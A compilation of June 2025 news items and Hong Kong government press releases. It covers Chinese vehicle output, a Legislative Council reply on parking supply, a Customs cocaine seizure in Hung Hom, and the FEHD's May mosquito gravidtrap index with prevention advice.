The China Association of Automobile Manufacturers reported on Wednesday that 12.83 million vehicles were produced in the country in January-May 2025, up 12.7 percent year-on-year. Sales volumes, meanwhile, rose 10.9 percent to 12.75 million vehicles.
The production and sales volumes of new energy vehicles demonstrated impressive growth rates. In five months, 5.7 million of such vehicles were produced and 5.61 million were sold, an increase of 45.2 percent and 44 percent, respectively. -0-
Source: Hong Kong Government special administrative region
Following is a question by Dr the Hon Ngan Man-yu and a reply by the Secretary for Transport and Logistics, Ms Mable Chan, in the Legislative Council today (June 11):
Question:
Regarding the supply of car parking spaces, will the Government inform this Council:
(1) of the following information on parking spaces for various vehicle classes (including private cars, commercial vehicles and motorcycles) in Hong Kong from 2022 to 2024: the number of parking spaces, the district distribution, the utilisation rate, the increase or decrease in the number of parking spaces due to redevelopment, new development or other projects, with a tabulated breakdown by type of parking space (e.g. public or temporary car parks, on-street parking spaces); whether it has projected the parking space demand from this year to 2029, and of the currently planned number of parking spaces for various vehicle classes to be built, their locations, the government departments responsible for building them and their expected completion dates;
(2) whether it has plans to conduct a comprehensive review of the supply of parking spaces for various vehicle classes in the territory and study the further opening of car parks in schools and government premises in various districts in the evenings and on public holidays for public use; if so, of the details; if not, the reasons for that; and
(3) whether, on the pretext of not affecting traffic flow and road safety, it will consider increasing the number of free on-street parking spaces, extending the parking hours for night-time parking spaces and installing multi-storey stacked parking systems to improve land use efficiency; if so, of the details; if not, the reasons for that?
Reply:
President,
In response to Oral Question 1, the Government has outlined its parking policy and I am not going to repeat it here. We will adopt a multi-pronged strategy to comprehensively increase parking supply, including leveraging technology, fostering stronger collaboration among stakeholders, and prioritising the parking needs of commercial vehicles (CVs).
Having consulted the Transport Department (TD), a consolidated reply in response to the questions raised by Dr the Hon Ngan Man-yu is as follows:
(1) Over the past three years, the total number of parking spaces in Hong Kong has increased by more than 15 000, bringing the total to over 800 000 (Annex 1). The ratio of parking spaces to registered vehicles has improved, and the number of metered parking spaces has also grown (Annex 2). However, the recovery of some short-term tenancy (STT) car parks has led to a slight decline in CV parking spaces (Annex 3). To address this, we have implemented various measures to enhance CV parking supply. For example, public vehicle parks (PVPs) currently in operation and under construction will provide approximately 460 CV parking spaces, and we have mandated a minimum number of CV parking spaces in suitable STT car parks. The Government continues to collaborate actively with stakeholders to expand parking supply. Between 2022 and 2024, more than 25 000 additional parking spaces were introduced under urban redevelopment projects (Annex 4). Utilisation rates remain consistently high across all types of parking spaces, with metered parking spaces averaging around 90 per cent and trending upward. Among public car parks managed by the TD, utilisation rates range from approximately 80 per cent to 90 per cent, while STT car parks average around 60 per cent.
When advancing PVP projects, the TD assesses district-level parking demand based on illegal parking occurrences and the availability of facilities near project sites. For example, priority is given to areas with a high concentration of logistics trades for additional CV parking spaces. The TD will also consider conducting studies to forecast medium-to-long-term parking needs.
The currently operating and under-construction PVPs will provide over 3 200 parking spaces. We are also exploring the adaptive reuse of construction shafts left after the completion of the Central Kowloon Bypass, with plans to convert them into underground multi-storey car parks featuring automated parking systems (APS).
Over the next two years, the Government will introduce 12 000 additional parking spaces, with at least 500 designated for CVs. The actual quantity will be even higher when accounting for additional CV parking spaces from upcoming STT car parks and private development projects.
Our priority remains the expansion of CV parking spaces, particularly in areas facing shortages, and we will intensify efforts to promote APS. Through policy initiatives and co-ordinated action with districts, we are confident that Hong Kong’s parking supply will continue to improve. Projected parking space supply estimates beyond 2025 are detailed in Annex 5.
(2) The standard of parking facilities in the Hong Kong Planning Standards and Guidelines (HKPSG) will be reviewed regularly and revised when necessary to meet future transportation and policy needs. The first batch of subsidised housing planned under the revised HKPSG in 2021 (Note) is scheduled for completion in 2026, providing approximately 4 700 parking spaces across 26 subsidised housing developments. This includes 220 CV parking spaces, as well as the introduction of 33 medium/heavy goods vehicle and 18 coach/bus shared-use loading and unloading bays for night-time CV parking. The TD is closely monitoring the implementation of the revised HKPSG and will review it as needed to ensure it aligns with the latest developments.
The Government Property Agency has opened around 1 000 parking spaces within the 12 joint-user general office buildings under its management, with some parking spaces available for public use throughout the day. Additionally, public car parks managed by the Leisure and Cultural Services Department provide more than 2 700 parking spaces for public use. The TD is actively collaborating with the Housing Department to explore the possibility of opening loading/unloading bays in five subsidised housing developments, including Sha Tin and Tsuen Wan for night-time CV parking, given the substantial parking demand from medium and heavy goods vehicles in these areas. Furthermore, the TD is working with the Education Bureau to encourage more schools to make school bus parking spaces available for student service vehicles during non-school hours, specifically to address CV parking needs.
(3) The TD has been proactively identifying suitable locations across districts to provide additional on-street parking spaces. As of 2024, more than 1 860 on-street night-time parking spaces have been designated. The free parking period for over 600 CV night-time parking spaces has been adjusted to start at 7pm, and future provisions of such spaces will aim to advance the free parking period as much as possible.
The Government has been implementing APS projects in suitable PVPs and STT car parks, as APS can nearly double the parking capacity within the same space. PVPs currently under construction will provide 1 000 automated parking spaces. Additionally, seven private car parks and three STT car parks are already equipped with APS. The PVPs are located in Tseung Kwan O, San Po Kong, Sham Shui Po, and Ma On Shan, while the STT car parks are in Tsuen Wan, Tai Po, Sham Shui Po, and Yau Ma Tei. Various APS models are being adopted, including puzzle-stacking as proposed in the question, vertical lifting and horizontal sliding, as well as circular shaft lifting systems.
The widespread adoption of APS in Hong Kong requires private sector involvement from the society. Both the Electrical and Mechanical Services Department and the TD have published APS implementation guidelines for industry reference. In the future, the TD will actively encourage developers to adopt APS and explore further incentive measures.
Thank you, President.
Note: The 2021 he revised HKPSG has increased the number of ancillary parking spaces for PCs in private and subsidised housing developments, the types and numbers of parking spaces for CVs in subsidised housing development, and introduced two types of “shared-use” parking spaces, one of which is to be shared by light goods vehicles and light buses, and the other by medium/heavy goods vehicles and coaches.
Source: Hong Kong Government special administrative region
Hong Kong Customs yesterday (June 10) seized about 1.3 kilograms of suspected cocaine with an estimated market value of about $1 million in Hung Hom. A 33-year-old man suspected to be connected with the case was arrested.
During an anti-narcotics operation conducted in Hung Hom yesterday afternoon, Customs officers intercepted a suspicious man and seized about 1.3kg of suspected cocaine inside a rucksack carried by him. The man was subsequently arrested. Customs officers later escorted him to a residential premises nearby for a search and further seized a batch of suspected drug packaging paraphernalia.
The arrestee has been charged with one count of trafficking in a dangerous drug and will appear at the Kowloon City Magistrates’ Courts tomorrow (June 12).
Under the Dangerous Drugs Ordinance, trafficking in a dangerous drug is a serious offence. The maximum penalty upon conviction is a fine of $5 million and life imprisonment.
Members of the public may report any suspected drug trafficking activities to Customs’ 24-hour hotline 182 8080 or its dedicated crime-reporting email account (crimereport@customs.gov.hk) or online form (eform.cefs.gov.hk/form/ced002).
Source: Hong Kong Government special administrative region
​The Food and Environmental Hygiene Department (FEHD) today (June 11) announced that the monthly gravidtrap index for Aedes albopictus mosquitoes in May was 8.6 per cent, at Level 2, indicating that the distribution of Aedes albopictus mosquitoes in the survey areas was fairly extensive. Relevant government departments have stepped up mosquito prevention and control actions.
In May, among the 64 survey areas, the area gravidtrap index in six areas exceeded the alert level of 20 per cent. The gravidtraps were mostly located in the vicinity of private residential areas, public housing estates, schools, recreational and sports facilities and public places. The FEHD has collaborated with relevant government departments by taking immediate action to strengthen mosquito prevention and control work in the area concerned.
Moreover, the monthly density index for Aedes albopictus in May was 1.3, which represented that an average of 1.3 Aedes albopictus adults were found in the Aedes-positive gravidtraps, indicating that the number of adult Aedes albopictus was not abundant in the survey areas. The gravidtrap and density indices for Aedes albopictus in different survey areas as well as information on mosquito prevention and control measures are available on the department website at www.fehd.gov.hk.
A spokesman for the FEHD said, “There is a significant relationship between local mosquito infestation and seasonal changes. The gravidtrap indices in various survey areas would be relatively higher during hot and rainy spring and summer months (i.e. from May to September) as mosquitoes breed quickly. Members of the public are reminded to continue the routine mosquito prevention and control work, especially the repair and maintenance of structures. Cracks and dents that may accumulate water and become potential breeding grounds should be filled and levelled to reduce the chance of mosquito breeding.”
“The Government is concerned about the mosquito infestation in May. The increase in the monthly gravidtrap index for Aedes albopictus for May might be related to the continuously hot and rainy days in the month. The FEHD has continued to intensify the mosquito prevention and control work with relevant government departments in areas under their purview, including eliminating mosquito breeding places, applying larvicides, conducting fogging operations to eradicate adult mosquitoes, and placing mosquito trapping devices at suitable locations. The FEHD has also conducted site inspections with relevant departments, and provided them with professional advice and technical support to assist them in formulating and implementing effective anti-mosquito measures swiftly. At the same time, the FEHD has strengthened publicity and education. The FEHD will continue to monitor the mosquito infestation in all districts, and will conduct prompt and effective mosquito prevention and control work,” the spokesman continued.
The FEHD will conduct a three-phase Anti-mosquito Campaign this year. The second phase of the territory-wide campaign was launched on April 14 and will run until June 13. During the period, the district offices of the FEHD will target areas that have drawn particular concern, such as public markets, cooked food centres and hawker bazaars, single-block buildings, streets and back lanes, common parts of buildings, village houses, construction sites, vacant sites and road works sites, to remove accumulated water and carry out mosquito prevention and control work. To further enhance the effectiveness of mosquito control, the FEHD and relevant government departments have carried out phase two of the All-out Anti-mosquito Operations from May 7. In addition to the work of phase one, including eliminating potential mosquito breeding places, the FEHD called on property management entities to arrange for necessary repairs to their premises to minimise mosquito breeding places and commence adult mosquito control measures by means of regular ultra-low volume fogging operations.
The FEHD appeals to members of the public to continue to stay alert and work together to carry out mosquito prevention and control measures early, including inspecting their homes and surroundings to remove potential breeding grounds, changing water in vases and scrubbing their inner surfaces, removing water in saucers under potted plants at least once a week, properly disposing of containers such as soft drink cans and lunch boxes, and drilling large holes in unused tyres. The FEHD also advises members of the public and estate management bodies to keep drains free of blockage and level all defective ground surfaces to prevent the accumulation of water. They should also scrub all drains and surface sewers with an alkaline detergent at least once a week to remove any mosquito eggs.
Aedes albopictus is a kind of mosquito that can transmit dengue fever (DF). DF is commonly found in tropical and subtropical regions of the world, and has become endemic in many countries in Southeast Asia. In 2024, the World Health Organization recorded over 14 million DF cases, which was a record number. The dengue activity in neighbouring areas has remained high. Members of the public should stay vigilant and continue to carry out effective mosquito prevention and control measures.